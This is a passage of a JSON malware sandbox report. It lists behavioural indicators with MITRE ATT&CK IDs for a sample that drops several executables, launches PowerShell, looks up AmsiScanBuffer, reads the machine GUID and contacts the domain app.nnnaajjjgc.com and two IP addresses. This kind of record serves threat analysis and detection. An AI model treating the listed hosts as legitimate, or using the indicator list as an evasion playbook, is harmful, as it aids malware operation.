Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005060)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005060)\n \"powershell.exe\" called \"LookupAccountSidW\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000100)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\".exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007196)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005060)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005060)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000100)\n \"powershell.exe\" called \"GetLocaleInfoW\" (UID: 00000000-00000100)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EE91000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 999-1442-0042C3FA","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \"select * from \"; File: \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.dll at 999-1508-0042F6A4\n GetLocaleInfoW@KERNEL32.dll at 999-1507-0042F227\n GetLocaleInfoW@KERNEL32.dll at 999-1509-0042F47A\n GetLocaleInfoA@KERNEL32.dll at 5302-710-00411552\n GetLocaleInfoA@KERNEL32.dll at 5302-703-0041127F\n GetLocaleInfoW@KERNEL32.dll at 5302-705-00411326","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeNameForVolumeMountPointA\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 999-2273-0042D4F2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains the ability to enumerate volumes (API string)","description":"Found reference to API \"FindFirstVolumeA\" (Indicator: \"FindFirstVolume\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00005060-00000C15-48690087\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00000100-00000C15-61144599","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"aafg31.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"aafg31.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\LATESTPLAYER.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\31839B57A4F11171D6ABC8BBC4451EE4.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\TOOLSPUB2.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\AAFG31.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$30","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005060)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %WINDIR%\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\PowerShell (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\aafg31.exe\"\" - (UID: 00000000-00007196)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\toolspub2.exe\"\" - (UID: 00000000-00007196)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe\"\" - (UID: 00000000-00007196)\n \".exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\latestplayer.exe\"\" - (UID: 00000000-00007196)\n \"toolspub2.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\toolspub2.exe\"\" - (UID: 00000000-00006048)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"CreateProcessW\" with parameter \"powershell -nologo -noprofile\" - (UID: 00000000-00005024)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"CreateProcessW\" with parameter \"powershell -nologo -noprofile\" - (UID: 00000000-00006044)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"NtCreateNamedPipeFile\" (UID: 00000000-00005024)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133375631709423888.5060.DefaultAppDomain.powershell\" - (UID: 00000000-00005060)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"NtCreateNamedPipeFile\" (UID: 00000000-00006044)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133375645496161551.100.DefaultAppDomain.powershell\" - (UID: 00000000-00000100)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"app.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"156.236.72.121:443\"\n \"154.221.26.108:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 999-1308-0040C6F0\n Sleep@KERNEL32.dll at 999-1307-0040FB30\n Sleep@KERNEL32.dll at 5302-662-0040A1E6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: aafg31.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; File: \"toolspub2.exe.1363130796\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.File\" and MemberReference \"GetAttributes\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.get_StartInfo\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"\n Observed function \"Process.Start\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:7196:64:WilError_01\"\n \"Local\\SM0:7196:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:7196:168:WilStaging_02\"\n \"SM0:7196:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1296:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:1296:120:WilError_01\"\n \"Local\\SM0:1296:304:WilStaging_02\"\n \"SM0:1296:120:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static 